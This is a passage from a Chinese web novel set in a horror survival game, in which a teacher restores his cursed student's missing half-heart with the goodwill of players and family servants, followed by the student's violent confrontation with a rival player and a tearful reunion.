马尾女忍不住用胳膊肘顶了顶男友,小声赞叹道:“我感觉直播间那些颜控又得疯狂了。” 见女友夸其他男人好看,风衣男难免有些吃味。回头看见谢叙白的脸,又感到词穷,找不出挑刺的地方。 谢叙白的颜也算独一份。 初见时只觉得好看,没什么独特之处,相处得越久,对这个人愈发了解,那张脸就如同开壳打磨的蚌珠,莹润其华。 “要是能局内录频或照相拍成写真集,不知道能卖多少积分。”马尾女痛心疾首地道,“错亿啊!” 风衣男:“……” 他释然了。 谢叙白道:“你们谁有带铲子或其他挖土的工具?” 严岳如梦初醒,快速回道:“我这儿有。” 资深玩家随身都会带上一些简易工具,方便精神力耗光后的不时之需。 他找出铲子,见谢叙白似乎准备动手挖土,提议道:“这种力气活我们比较擅长,还是让我们来吧?” 说话的功夫,他拿着铲子靠近。 只是没能往前走上几步,就被一道无形的屏障拦住。 严岳颇为惊异。 上次探查的时候还没有这屏障,难道是因为谢叙白在这里现身了? 他伸手抵住屏障,试探性用了点蛮力,结果一簇赤红色的火焰冲天而起,气势汹汹,差点燎毁他的衣服! 谢叙白认出那是江凯乐的火焰,扬声阻止:“没事,你们别过来,把铲子递给我就行。” 严岳闻言照做。 通过之前的调查,谢叙白可以确认这个循环世界对江凯乐有两条限制。 一是江凯乐会不断地接收外界的恶意,二是江家利用血脉对他施下的束缚。 谢叙白已经在秘术古籍中找到第二条的解法,棘手的是第一条。 就在刚才,他让小触手帮忙把玩家带下山,第一时间赶到江凯乐两人的身边。 “余又!”蝉生看见他很是惊喜,下一秒急得抓耳挠腮,语无伦次地说:“怎么办?乐乐他难受。” 在他手指的方向,江凯乐正闭眼躺在床上,梦中似乎极不安稳,眼皮轻轻颤动着。 他的体型几乎膨胀一圈,狰狞的红鳞从头长到脚,下颚拉长变宽,已经出现兽化的征兆。 情况和谢叙白想象的一样糟糕。 ——江凯乐的异化并没有因为解除狂暴而停止,就像开始转动的齿轮,若无外力干扰,便会一直运转下去。 该如何干扰,谢叙白有几个猜测,却拿不定主意,直到宴朔出现,暗示他已经找到解法。 而后他来到小花园,看见江凯乐对这里设下的禁制,终于松了一口气。 答案是江凯乐遗失的心脏。 吴医生说少年的胸口没有心跳,江凯乐找遍江家大院也没能找到。 谢叙白心想,凭少年的执拗劲儿,如果想找一件东西,哪怕是江家主的书房,他都不惮去闯一闯。 但有一个地方,江凯乐绝对舍不得破坏。 想到这里,谢叙白伸手贴在树身上。 冥冥之中,他仿佛能听到下面传来鲜活有力的心跳声,温言细语道:“江同学,是我,老师来带你回家。” ——呼! 一阵飓风从大树的脚下盘旋上升,刹那间形成爆发式漩涡,震得整个小花园的花草树叶摇晃不止。 其他玩家见状,慌忙闭眼,护住头部。 他们等到气浪平息再睁眼,却惊讶地看见,原本大树矗立的位置,赫然变成一棵矮瘦的小树苗。 小树苗的叶子不如其他的大树繁茂,但也长得鲜翠欲滴。 谢叙白将手伸向它,它似有所感地晃了晃,最鲜嫩葱郁的枝丫弯下去,蹭上对方的指尖。 “乖,很快的。”谢叙白笑着揉了揉叶片,拿起铁铲。 铲尖触碰到地面的一瞬间,压实的泥土变得异常松软,不费吹灰之力就能挖开。 谢叙白小心控制着力气。 见脆弱的根须暴露在外,他干脆将铲子放在一边,不顾脏污,用白净的手掌去细细掸土,顺便将本来打搅的根须分开。 这个过程,他做得细致又认真,哪怕是细若发丝的部分也没伤到。 终于在拨开最顶上的一团树根后,看到半颗灰白色的心脏。 谢叙白小心地碰了碰,心脏毫不犹豫地脱落,沉沉地落在他的掌心。 “那是什么,也是关键道具?”玩家们议论纷纷。 同时他们不由得有些庆幸。这道具藏得不算隐蔽,但设有禁制来混淆视听。 要不是有谢叙白,恐怕到试炼失败,他们都不一定能找到。 东西落入谢叙白手里的那一刻,严岳忽然发现屏障消失了,连忙赶过去帮人把小树苗重新栽好。 他观察这半颗心脏,就是人的心脏对半切后的模样。 但心脏的表皮干瘪坏死,细长血管歪歪扭扭地皱缩成一团,整体呈病态般的灰白色,看着有点恶心。 【获得道具:少年丢失的半颗心脏(已失活)】 谢叙白问:“看到它,你想到了什么?” 青年连他们的话都能听懂,肯定也能看见任务面板。 严岳丝毫没怀疑谢叙白是在套话,把这句询问顺理成章地认作对自己的考验。 他深思片刻,将道具提示加上自己的猜测一并道出。 “重点在失活。”严岳皱眉道, “不知道有什么办法可以激发它的活性,把它重新塞进……咳,交还给江凯乐?” 却见谢叙白摇了摇头。 下一秒,被青年双手捧在掌心的灰白心脏,忽然浮现出一抹鲜艳的红色,好似腐朽的骨头重新长回血肉。 严岳看着频频闪烁的道具提示,直感吃惊:“活性已恢复30%!您做了什么?” “我什么都没做。” 谢叙白轻轻摩挲心脏的表皮,脑海里不断回忆和江凯乐的过往经历,眼神温润如水:“只是希望我的学生能够快快乐乐,开开心心。” 随他念出这一句话,越来越多的血肉在灰白干瘪的心脏上疯狂生长。 它的质感不再坚硬,变得柔软无比。它的温度不再冰冷,变得火热至极。 新生的心脏温顺贴在谢叙白将它小心护住的手掌上,没几秒,甚至开始传出“扑通、扑通……”的剧烈跳动声,竭力朝外散发着鲜活坚韧的生命力。 这一幕很有冲击力。 于玩家而言,他们仿佛亲眼见证一个由死至生的奇迹,盯着【心脏活性已恢复81%】的系统提示,震惊得无以复加。 女生的心思比较细腻,马尾女忽然道:“是爱吗?” 见其他人都扭头看着她,马尾女迟疑地说出自己的猜测:“就是网上流传的那句话,‘只要被爱就能让血肉疯狂生长’。” “这里的爱没有具体的指代,可以是亲人、夫妻、朋友、师生、主宠,甚至是陌生人。” “可以这么说,不过激活它的要求没有那么严苛,只要是善意就行。” 半边心脏在江凯乐的胸腔,不断地吸收恶意,因为缺少另一半,无法跳动。 另外半边心脏能吸收善意,却深藏地底。 谢叙白对马尾女温声道:“能否拜托你为我的学生送上一句祝福?” “啊?我吗?”马尾女没想到会被大佬郑重请求,有点受宠若惊。 “对。”谢叙白温柔地抚摸心脏,“我对他的善意填不满所有的空缺,因为人不能只依靠一个人的爱意而活,他的人生也不该局限于我的眼界。” “他是一个很好的孩子,理该获得更多善意,被更多人所爱。” 马尾女看着眼前的心脏,有点苦恼。 他们对江凯乐不熟悉,江凯乐又是他们需要对付的诡王,实在提不起什么爱意善意。 不过,马尾女想到一个讨巧的方法,认真严肃地对心脏说:“祝你期末考个好成绩,门门一百分!” 在上升渠道几乎被资本垄断的现在,高考或许不是跨越阶级的唯一途径,但一定是最公平的那条路。 祝愿考出好成绩,是祝愿莘莘学子的努力得到回报,能够获得辉煌灿烂的未来。 这是中洲人不约而同的共识,是一句不会对任何学生吝啬心意的祝福。 旁边观察活性数据的玩家喊道:“上升了,真的上升了!” 见真的有效,马尾女高兴地问道:“升了多少?” “0.1。” 马尾女:“……” 她明明祝福得这么真心实意! 风衣男在旁边小声提醒:“江凯乐好像是高中生,高中主科目满分150,你这一祝福差点让人不及格。” 马尾女:“…………” 她当即嚷嚷着再来一次,但怎么喊都没动静。 其他玩家见状,依样画葫芦地来上一遍,有祝愿身体健康,有祝愿吃好喝好,但活性通通都只上升了0.1。 在场五名玩家,总共也只上升了0.5,还没谢叙白的零头多。 看着垂头丧气的几名玩家,谢叙白笑道:“谢谢你们,这样已经足够了。至于剩下的善意,应该是要在他从小生活的江家寻找。” “但现在的问题是,那些江家人已经异化,心里只有怨恨和恶意。如果要他们释放对江凯乐的善意,或许需要采取一些非常手段。” 谢叙白引导性的话语落下,玩家面前立刻弹出新的任务指引。 可这对他们都不是事儿!一个财大气粗的严岳,有的是精神控制型道具。 眼见通关在望,玩家们欢天喜地分头去寻找实验……啊不,江凯乐的亲近之人。 马尾女刚要拉着风衣男走,忽然注意到谢叙白的手还脏兮兮的,上面满是泥土,和腕部的白皙干净产生鲜明对比。 她戳戳风衣男,让人拿出几个清洁道具,殷勤地递过去:“您可以用这个。” 为什么不沾尘埃的佛也会变脏,玩家们早在心里想好解释——肯定是因为下凡历劫等等原因,导致谢叙白脱离佛坛就无法使用力量,这才让他们捡漏做任务。 谢叙白笑着道谢,顿了顿,问他们有没有湿纸巾。 马尾女倒是有带湿纸巾,干纸巾也有,就是不明白谢叙白要来干什么。 谢叙白先用道具洗干净自己的手,将两种纸接过,抽出崭新的湿纸巾,细致入微地擦去心脏上的泥土。 心脏很有活力地瑟缩一下,似乎被凉到,血管将谢叙白贴得更紧,不断收缩撞击人的掌腹,像一个赖着不想洗澡的脏小孩。 谢叙白屈指在它身上轻点两下,才让这颗心脏老实下来。接着他加快速度,耐心地把心脏清理干净,又用干纸巾擦干上面的水分。 做完这一切,心脏是干净了,但谢叙白除手指以外的地方再次蹭满泥灰,他不甚在意地用道具清洗。 没给心脏用道具,一方面是身为NPC的他看不到效果信息,另一方面是担心道具和道具之间会产生冲突,伤害到心脏。 这种小插曲本该见过就忘,却不知怎么的,让马尾女迟迟没有回神。 哪怕是刚才欣赏谢叙白美貌的时候,她都没看得这么入迷。 “你看他对那颗心脏的神情……难怪别人只说一句话就能涨81,我们只涨0.1呢。” 马尾女嗓音嘶哑:“枫哥,我有点想家了。” 想老妈的叮咛,老爸的背影,老哥对她摆臭脸却偷偷塞过来的零花钱,和叔叔婶婶们的关心。 看着那样的谢叙白,她竟然会想到这些风马牛不相干的东西,奇奇怪怪的。 风衣男用力地抱了抱她。 “是这样……他和我们遇到的那些NPC不太一样。” 在谢叙白和小情侣双方都没能看到的视角,连接着他们的善缘线颜色在逐渐变深,直至浮现出淡淡的金光。 其他玩家离开,严岳跟在谢叙白的身边。 他们第一站来到吴医生的就诊室。 不需要严岳使用道具,老人在听到江凯乐的名字时,便下意识陷入回忆,浑浊的眼中满是慈爱:“乐乐啊,真的是个好孩子,我还记得第一次遇到他的时候,不小心从土坡上栽下去,结果他看见后想也没想地叫着冲了过来。” “当时他才多大点儿啊?脑袋伸直都达不到我的腰。那双小手,只有我的手指头长,细皮嫩肉的,被竹叶刮一下就流血,却死死地扒住我不放,憋得脸都红了,差点被我一起拖到沟里去。” 老人摩挲着自己的两根手指,像是在回味被孩童拽住时的震惊和感动。 “我能记一辈子。”吴医生沉声说道,“我希望他好一辈子。” 【心脏活性已恢复:89.5%】 第二站是江夫人的别墅。 “小时候的他很可爱。” 江夫人坐在躺椅上,眼神涣散地看着天花板:“第一次学会‘喜欢’这个词,看见谁都要扑上去傻笑一阵,说‘我好喜欢你呀!’。” “保镖他喜欢,佣人他喜欢,树啊花啊草啊小鸟啊,包括老四带回来的那条牛头梗,他怕得要命,也会蹲在旁边小声和狗商量‘我喜欢你,你别咬我,好不好啊?’。” 嫁到江家的半载岁月,江夫人都像是个琉璃花瓶,江家人和下人不敢怠慢她,但在家族事上,她没有任何话语权,包括对江凯乐的教育。 那段时间,江夫人彻底心灰意冷,热衷于和太太夫人们攀比享乐,把日子过得浑浑噩噩,从下人口中得知江凯乐没有缺衣少食,便没再关注。 她自私且自欺欺人地缺席江凯乐的太多时光,是以临到结尾,能用来怀念的回忆都少到可怜。 “你告诉我真相后,我知道了,他……本性并不坏,坏的是他身边的人,不管是我还是江家人。”江夫人闭上眼,疲惫地吐出一口气,“我希望他能离开江家,离得越远越好。” 【心脏活性已恢复:93.5%】 谢叙白没有立刻离开,低声道:“如果江家不久后会出事,你愿不愿意和我们一起离开?” 江夫人唰一下睁开眼,手掌用力地扣住扶手,指尖因大力而泛白:“怎么个出事法?” “等江凯乐离开后,不会再有鬼神的力量庇护他们。那些被他们害苦的人都在这个宅子里,有怨报怨,有仇报仇。” 江夫人肩膀疯狂抖动,最后不忍了,哈哈大笑出声,甚至不顾形象地用高跟鞋踱地:“你出面的时候我还担心过,太好了,真是太好了!他们也有今天!” 谢叙白等她畅快地笑完,继续问:“那你呢?” “……”江夫人忽然沉默下来。 谢叙白道:“江凯乐需要母亲。他的时间还长,您也是,长到足够弥补过去的遗憾。” 江夫人高耸的肩膀忽然垮下来,苦笑道:“余老师,你觉得活在江家的我,能够做到独善其身吗?” “一开始,我劝过,后来劝不动,反而让他们被罚得更惨,只能冷眼旁观。看着看着,自己也学会了一些。” “真是可怕。我二十多年没做过什么伤天害理的事,结果抛弃原则,只需要短短两年。” 江夫人顺势拍拍扶手,上面沾着一块污渍,怎么拍都拍不掉。 她放弃了。 “死在这里算我罪有应得。带那孩子走吧,走得远远的。现在的我教不了他,没脸见他,更对不起他。” 江夫人伸出手臂,遮住湿润的双眼,轻声说道:“我会让人把我名下的全部财产打到您的账户上……麻烦您今后费心了。” 【心脏活性已恢复:94.5%】 谢叙白听出江夫人话中的决意,沉默片刻:“您保重身体。” “您也是。大概多久江家才能出事?” “不会超过今天。” “那好。”江夫人笑道,“麻烦您出门帮我关一下灯,我想睡一觉。” 谢叙白伸手拿来旁边的毛毯,摊开盖在对方的身上,温声说道:“晚安,许女士。” 听到这久违的称呼,许女士浑身一震,一滴滚烫的热泪顺着眼眶淌落。她咬着嘴唇,竭力用平静的语气开口。 “晚安。” 啪的一声,卧室的灯光熄灭,室内陷入一片静谧的昏暗。 谢叙白关门前,听到里面传来低低的啜泣声,半晌,将门轻轻合上。 他对等待旁边的严岳说了声“走吧”,两人离去。 那压抑着的哭声也越来越低,越来越远,最后消失在精美豪华的别墅中。 另一边,江凯乐的卧室。 蝉生坐在床边,第不知道多少次伸手,尝试将自己的替死软糖塞进江凯乐的嘴巴里,边塞边哄:“真的很甜,不骗你的,尝尝看?” 好不容易这一次快塞进去了,忽然窗边传来胡昌挖苦的讥讽声:“好啊,没想到我们之中出了个叛徒!你这么堂而皇之地把命送给BOSS,该不会忘记自己还开着直播?” 有人靠近,他居然一点都没察觉? 蝉生惊得回头,反射性张手护住床上的少年,皱着眉头呵斥胡昌:“你走,现在马上离开这里!” “嚯,你居然是认真的?” 胡昌说他叛徒只是嘲讽,没想到蝉生还真有叛变的趋向,鉴于结果都是让其他人通关失败,胡昌简直想为他鼓掌。 蝉生摆出战斗姿势,声音更冷:“走!再不走我就把你丢出去。” “那可不行。”胡昌看上去根本不把他放在眼里,意味深长地笑道,“我不在这里呆久一点,怎么让诡王再次狂暴?” 蝉生闻言一愣,从胡昌的语气中体会到他对江凯乐的恶意,迅速回头。 只见床上睡得好好的少年,突然睁开双眼,露出一双冰冷的猩红血瞳。 “就是这样!”胡昌见状大笑,“来吧,恶意这东西你要多少我有多少,快点陷入狂暴,把这场试炼搅个天翻地——” 话音未落,胡昌猖狂的笑脸陡然一僵,骤缩的瞳孔倒映着少年急速砸来的拳头。 嘭! 胡昌整个人被打飞出去,重重地砸在地上,痛得昏天黑地。 余光瞥见江凯乐踱步而来的声音,他慌乱狼狈地爬起来,忽然感到满嘴腥甜,呸,吐出几颗带血的牙齿。 “怎么会?”看着江凯乐毫无变化的身体,胡昌不敢置信地嘶吼道,“为什么没能狂暴?!” 江凯乐冷冷地看着他。 细看的话,会发现少年兽瞳涣散,根本就没听到胡昌的话。 【人家做美梦呢,你算什么东西呀,也敢来扰人清梦?】 小触手从江凯乐的影子里窜出来,用尖尖揉两下少年的脑袋当作安抚,语气充满不屑。 有它的认知干扰,别说恶意,什么意江凯乐都感受不到。 看着跌跌撞撞的胡昌,小触手突然想到个好点子,像个热爱恶作剧的小恶魔,在江凯乐的耳边诱哄般低语。 【乐乐,你听到没有?眼前这个家庭教师说白白的坏话哦,他说白白不配当你的老师。】 在小触手的刻意引导下,正在梦里和蝉生开心吃糖的江凯乐,突然听到一阵激烈的争执声。 是门外的胡昌和谢叙白在吵架。 胡昌轻蔑地嘲讽道:“你就是个什么都不懂的渣,也配当江凯乐的老师?” 江凯乐:“……” “听”到江凯乐将拳头攥得咔嚓作响,小触手乐呵起来。 【就是这样,嘿,我老早就觉得你是个人才。】 身为邪神躯壳,它对一切诱发欲望的手段无师自通。 小触手随即“看”向不远处的胡昌。这一刻,它的声调依旧稚嫩,却带着塞壬蛊惑人心时的森冷。 【乐乐上,我护着你,放心地锤爆他!】 第48章 经常生气会长不高…… 激烈的打斗声从江凯乐住所的方向传开,响声震耳欲聋。 谢叙白以为突逢变故,猝然止步,想也不想地转身往那边赶。 也是这个时候,他身下的阴影荡开一圈涟漪。小触手从中窜出,细长滑腻的尖尖缠住他的脚踝。 【白白不用担心,我们在玩游戏啦!】 它的语气极其愉快,像只偷腥成功的猫。 谢叙白眉梢一动,望着烧透半边天的火光,结合小触手看热闹不嫌事大的语调,很快推测出前因后果。 小触手特意赶来通知谢叙白,就是怕人担心,见人停下脚步,立马蠢蠢欲动地往阴影里面钻。 为避免江凯乐在战斗中途惊醒,它得快点赶回去,何况还有更有趣的戏码没看完。 结果下一秒,青年劲瘦修长的手指伸下来,不轻不重地捏住它的尖尖:“玩游戏可以,但不能强迫江同学做不情愿的事情。” 【……啊呀?】 小触手感觉自己没有强迫人,但经过谢叙白这么一问,它莫名有点心虚:【没有的,他看起来也玩得很开心。】 “是么?” 【对的对的!】 小触手煞有其事地扭扭身体,自以为隐瞒得很好,殊不知早就被青年看穿。 “那就好。”谢叙白语气平静,“我相信小一懂分寸,一定不会闹出人命。” 此话一出,小触手身体发僵。 虽然它跑过来的时候胡昌还没咽气,但照江凯乐把人按着暴揍的架势,现在估计可能大概还能剩下一口气……吧? 实在没底气,它的声音越来越小:【白白,如果不小心发生了点意外……】 “那我会很生气。”谢叙白的语气很认真,能让人体会到他的不容动摇,“气到很长时间内都不想再理小一。” 【!】 霎时间,小一吓得整根触手都直立成削尖的春笋。 生怕真的闹出事,它马不停蹄地钻回阴影,飞速前往江凯乐的身边。 快离开前还要再三强调。 【不会的白白你相信我!我最懂分寸了!】 谢叙白听着它欲盖弥彰的保证,无奈地叹了一口气。 如今的世界扭曲异化,到哪里都是黑暗丛林。 谢叙白没有因为偏爱小家伙们就忽略它们的黑暗面,也清楚用人类文明社会的道德观去要求思维崩坏的怪物,不现实也不公平。 但小触手不一样。 刚到家,和它朝夕相处的那段时间,谢叙白密切关注它的行为,几乎将小触手发脾气时极其恶劣的模样,全部收纳眼底。 可再之后,小触手在意识到猫猫狗狗们的畏惧躲避后,竟然悄咪咪地跟在他身边,学他轻手轻脚地收敛力道,小心翼翼地用尖尖抚摸小家伙们的皮毛。 ——明明按照诡怪的理念,猫猫狗狗们的级别比小触手低很多,是不需要在意的饵料。 于是谢叙白明白过来,小触手不是天性残忍的孩子,狰狞可怖的本貌下藏着一颗软乎乎的心。 是强大的实力让它拥有漠视规则的权利,丛林法则给了它我行我素的空间。令它无法正确区分什么行为无害,什么行为会带来无法预估的后果。 比如现在,谢叙白不介意小触手他们在有人恶意动手时,同程度地还击回去。 但伤人性命会让江凯乐的内心产生负担,小触手无法意识到这一点,所以他必须强令约束对方。 以防万一,谢叙白转过头对严岳说:“能拜托你们的人帮我盯着点江凯乐的情况吗?” “刚才那孩子玩心重了点,我担心它会控制不住力量。” 严岳没有立时回应。 听到第二句话,他才宛如从恶梦中惊醒,连忙回道:“不是问题,我这就通知他们过去。” 谢叙白瞄见严岳额头上的冷汗,忽然意识到不对劲:“你怎么了?” 严岳摆摆手,强撑镇定道:“没事没事。” 同时他攥着汗津津的手掌,不断平复内心的恐惧。 就在刚才,侦测盘开始疯狂鸣叫,频频响起的警报声如雷鸣贯耳。 如此强烈的能量反应,让严岳第一时间想起在后山祭坛发生的一幕幕。 他看着谢叙白半蹲下身,双指微并,似乎捏住无形的怪物,终究没忍住,使用可以窥探诡怪本貌的道具。 结果这一看,差点没让他san值掉光,直接崩溃! 严岳不知道那未知等级的怪物长什么样。 是的,他甚至没能彻底看清楚对方的本貌。 只隐约听见一段不成字意、古老神秘的呓语,浓烈的黑暗气息就几乎将他的精神海冲垮。 此时他看着若无其事的谢叙白,有些胆寒。 能将那样恐怖的怪物自然地称为孩子,对方该不会还有“诡怪之父”之类的隐藏身份? 严岳越想越心惊,发消息让队友去盯着江凯乐那边的状况,三步并作两步紧紧跟在青年的身后。 不一会儿,死士带来可以收集善意的第三人,一名四十多岁的女佣。 来之前,死士已经给这人使用过催眠道具,令她暂时忘记对江家的憎恶。 没有那些负面情绪和仇怨压在心头,女佣神情柔和,青黑色的诡脸甚至透着几分慈祥淳朴的意味。 “乐乐……我知道自己作为江家下人,这么称呼大少爷不合适,但那孩子发烧难受,请求我这么叫他的时候,我实在不忍心拒绝他。” 女佣恍惚了一会儿。 “以往乐乐生病,都表现得很坚强,打针输液都不闹,唯独那一天是例外。” “现在想想,可能是那天的我太难过,所以他才反常地表示出依赖,用撒娇的方式安慰我。” “因为我的孩子就是病没的,刚好是那个月……” 女佣默了默,开口道:“我希望乐乐永远健康。” 【心脏活性已恢复:95.3%】 又几分钟,小情侣带回来两个五大三粗的保镖。 “有段时间他特别闹腾,工作的时候缠着让我们抱,害我们被管家一顿好骂,烦他得很。” 俩保镖尴尬地挠了挠后脑勺:“后来才知道,我俩当时工作表现得太好,挡了管家侄儿的路。那阴险的小子暗搓搓地想害我们,如果不是大少爷经常和我们混在一起……” 说到这里,他们一阵后怕。 无言站立良久,两人打开带来的大箱子。 箱子类似时间胶囊,里面放着很多玩具和幼儿画册。 都是些上了年头的东西,老旧、泛黄,但俩保镖如数家珍。 “六岁左右他沉迷武侠片,非要我俩教他武功,但我俩哪会什么飞檐走壁?没辙,给他买来这些玩具剑、玩具飞镖。后来,他把这些东西全丢进了垃圾桶……我俩给捡了回来。” 见谢叙白听得认真,两保镖似乎兴致上头,津津乐道地提起一些趣事。 比如左脚拌右脚摔了一跤,憋到他俩来才哇哇大哭。 比如拿他俩当身高尺,量了两天没变化,气得非叫他俩蹲下来,自己还要垫脚,假装一天窜高。 通过他们事无巨细的描述,谢叙白仿佛能一眼望见当年那个有点爱耍滑头,又善良招人疼的小孩。 只是说到后面,俩保镖的声音越来越低沉:“祠堂被烧之后,我们很少再说话……希望他以后多吃点,长高点,再壮一点。” 【心脏活性已恢复:95.7%】 越来越多的下人被玩家们带过来。 “他小时候没人陪,爹不管娘不爱,其他老爷又……希望以后有真正爱他的亲人。” 【心脏活性已恢复:96%】 “别以为他一直很乖,看到这道口子没有?当时他非要往上爬,结果不小心摔下来,在这儿磕掉一块门牙……但愿他现在的牙够结实,不然可经不住折腾。” 【心脏活性已恢复:96.3%】 “他小学的时候成绩很好呐,最好的是语文,能拿满分!现在么是差了点,但他天赋高,一定能再学好。” 【心脏活性已恢复:96.6%】 “希望大少爷多交点朋友。” 【心脏活性已恢复:96.8%】 “希望大少爷有机会养宠物。他以前想养,结果看到四爷那条牛头梗不听话被打死了,就放弃了,唉。” 【心脏活性已恢复:97%】 “希望大少爷像以前那样开心。” “希望大少爷快快长大,逃出这个地方。” “希望大少爷主动穿秋裤。” …… “希望……”说话的下人似乎察觉到什么,声音细若蚊蝇。 他的眼睛有点湿,哽了半天,抬头茫然地看着谢叙白:“余老师,我们是不是做错了?” “明明我们看着他长大,知道他是个好孩子,把同学揍进医院,也是因为那群败类偷看女生上厕所,搞团体霸凌欺负人。” “他护了我们那么多次。” 他用手狠狠地抹了一把脸:“我们怎么会突然认定他是怪物,还帮着江世荣教训他、监视他?那么粗的鞭子打下去,皮开肉绽,他接近一星期没能睡好觉。头一天关禁闭,想喝水,没人送。” 下人红着眼睛,话里满是对自己的诘问,喉咙像卡着冰凉锋利的刀片,每说一个字,就将喉管刮得鲜血淋漓,痛得难以呼吸。 反复地问,反复地念。 “我们怎么狠得下心的?怎么能?……” 谢叙白摇了摇头。 原谅他是个偏心自私的老师,听到江凯乐这些年的经历,说不出宽慰这群人的话。 正要离开时,听到后面传来下人沙哑干涩的声音。 “希望大少爷今后遇到的人都是好人,别像我们一样。” 【心脏活性已恢复:99.9%】 等谢叙白再回头去找江凯乐他们的时候,整个住所几乎被高温引发的爆炸夷为平地,胡昌其人直接被打成一滩血肉模糊的烂泥。 小触手收敛了,但没完全收敛,具体做法为,每当胡昌被揍得受不了,它就及时叫停江凯乐,给胡昌腾出时间使用治疗道具,实现反复鞭尸。 胡昌数值高,意味着他血量够厚,想当耐揍,这方寸大小的地方,几乎洒满了他的“热血”。 挺到第三轮,胡昌终于精神崩溃,不管不顾地使用道具逃走。 却发现不管他朝哪边跑,总会莫名其妙地转回原来的地方,对上一个怒气未消摩拳擦掌的江凯乐。 搞鬼的当然是小触手。 小触手当然有把谢叙白的告诫放在心上,但它不准备放过这个人。 自从感受到胡昌对谢叙白的恶意,对江凯乐的杀意,它就压抑不住满腔暴戾。 要不是怕自己的力量爆发,会弄坏这个世界,小触手恨不得亲身上阵。 小触手想得很清楚,既然不能弄死,那就弄怕胡昌。 将疼痛深刻地烙印在对方的骨子里,务必让人以后一想到和谢叙白他们作对,就下意识怕得战栗。 可当它再一次蛊惑江凯乐动手,少年却忽然停下,不仅如此,还清晰地回应它的话:“不打了,再打下去这个人会疯掉。” 小触手惊得不轻,以为自己玩得太过火,不小心让江凯乐醒了过来。 结果它仔细一“看”,江凯乐的眼神空洞涣散,明显还在梦中。 ——对方在说梦话,还是一直能感应到外界的情况? 小触手仔细感受,很快确定是后者,有点难以置信。 如果江凯乐一直知道自己在做梦,为什么甘愿滞留在虚幻的世界里? “老师还没来么……”下一秒小触手听到江凯乐的喃喃自语。 江凯乐看向胡昌:“那就再和你玩一会儿。” 说话的功夫,他伸手拽起胡昌的衣领,拖着半死不活的人走出废墟,布满红鳞的脸冷若冰霜。 强大的威压铺展开,方圆十里内的低级诡怪如遇洪水猛兽,退避三舍。 江凯乐一路畅通无阻,直至抵达阶梯教室,将胡昌用力甩到墙上。 嘭的一声,巨大的冲击下,墙壁蛛网般龟裂,胡昌痛得脸色惨白,眼前发黑。 江凯乐居高临下地看着他:“你说老师什么都不会,那意思是你什么都懂?正好我有几个问题想找你请教一下。” “问题一,最初老师带走蝉生的时候,你为什么要用肮脏的眼神看着他?你想利用老师,还是在想什么恶心人的事情?” 胡昌艰难睁眼,惊恐地对上江凯乐的满嘴獠牙。 少年已经完全变成兽人的模样,猩红的兽瞳倒映着他惊恐的脸,掠食者的压迫感扑面而来:“告诉我。” “因为,因为他看起来很不一般,我想和他交个朋友……啊!” “回答错误。” 江凯乐的脚毫不留情地踩下来,碾在他的腿骨上,胡昌不停痛叫、求饶,痛得昏天黑地。 “呃呃呃啊啊啊啊啊!救命,饶了我,放过我!” “问题二。”江凯乐问道,“你说只要多呆在我的身边,就能让我陷入狂暴,彻底变成怪物。那么你知不知道怎么让我变回去?” 胡昌双眼冒金星,忙不迭胡诌道:“我知道,知道……” 江凯乐涣散的瞳孔稍微恢复一些神采。 他的意识短暂地从梦境脱离出来,回到现实。 可当他眼也不眨地凝视胡昌的嘴,充满希冀地等待答案时,却发现后者眼神闪避,嘴里胡乱叨叨着听不懂的话,一直在顾左右而言他。 “你不知道……” 犹如一盆凉水兜头淋下,江凯乐的心冷了个彻底,陡然拔高音量,尖锐刺耳:“你根本不知道怎么让我变回去,却骗我说知道!” 江凯乐简直想发疯,不,应该说他早就已经疯了。 “回答错误!回答错误!回答错误——!” 嘶吼声响彻教室。 他耐心地等待老师的归来,但老师一直没回来。 梦境的世界再美好,那也不是真的。 就像变成怪物的他,终究要面临自己不再是人的现实。 眼见胡昌连滚带爬地冲向教室门,江凯乐刹那间情绪爆发。 他张开血盆大口冲过去,像头急于宣泄怒火的猛兽,意欲把一切看见的活物撕成碎片,连看呆的小触手一时都没能拉得住他。 直到谢叙白闻声冲到教室门口,江凯乐在看清他的脸时,艰难地刹住脚。 “经常生气会长不高。”一把拽住想要后退的江凯乐,谢叙白像平常那样看着他,顺手拆开一枚糖果塞进那长满獠牙的口腔,“他没法解答的问题,老师教你,好不好?” 江凯乐下意识地合拢下巴,糖果被坚硬的牙齿咬碎,绽出满嘴的甜。 他直愣愣地看着谢叙白,对上那双温润专注的眸眼,忽然不知道怎么的,特别想哭。 “我睡醒了,老师。” 他一直记着谢叙白说的那句话,等他睡醒的时候,一切都会变好。 他相信老师的,无论何时何地,一如此时此刻。 第49章 这就是我的盔甲 江凯乐直勾勾地望向谢叙白,努力扯开唇角,想佯装什么都不在乎,用平常的样子面对老师。 可说出来的每一个字都在哽咽,通红的眼眶盈满泪水。 谢叙白见他这样,疼得揪心,双臂把江凯乐揽入怀中,宽掌揉着少年毛茸茸的后脑勺。 “江同学做得很棒,有乖乖地睡觉等老师,所以老师来兑现自己的诺言。” 江凯乐一听,愈发绷不住,猛地揪紧谢叙白的衣服,躲在这宽阔单薄的怀里不断抽噎,不一会儿,滚烫的泪水便洇湿了对方的衣襟。 他迫不及待地恳求道:“那我,我们现在就可以——” 岂料谢叙白却说:“现在还不行。” 听到意料之外的回答,江凯乐霎时间僵住。 像受激的猫儿反射性炸毛,猩红兽瞳情不自禁地凝成一道针状竖线。 毫不夸张地说,现在的谢叙白对江凯乐而言,不亚于溺水濒死前,在咆哮风浪中看到的一根浮木。 他激动得目眦欲裂,迫切、疯狂地想要抓住这根救命稻草,怕极了在这之前可能发生的所有意外。 感受到掌下的颤动,谢叙白没有给江凯乐胡思乱想的时间,当即拿出少年丢失的半颗心脏。 鲜红的心脏犹如出现在茫茫凛冬的一抹新绿,强势地挤入江凯乐的视野。 和玩家们最初见到的灰白色尸块比起来,眼前的半颗心脏已经大变样。 色泽红润,血肉饱满,规律且极有节奏地搏动着,任由谁都能感受到它的健康。 那是少年作为人的证明。 找了许久的重要之物突然失而复得,江凯乐的瞳孔急剧凝缩。 他第一眼怔忡着,没敢去碰,有种在观望水中月的幻梦感。 第二眼也是一个劲儿地盯着,怕眨眨眼睛的功夫,东西就会突然消失。 直到第三眼,少年才鼓起勇气伸出手,小心地接过这半颗心脏。 当如实感受到沉甸甸的重量,不知不觉屏住呼吸的江凯乐猛然大喘气,胸口剧烈地一起一伏。 他将心脏死死地抱在怀里,豆大的热泪再度从眼睛里掉落,啪嗒啪嗒地砸在光滑冰冷的瓷砖上,感觉自己就像一条搁浅岸边快干死时又重新回到水里的鱼。 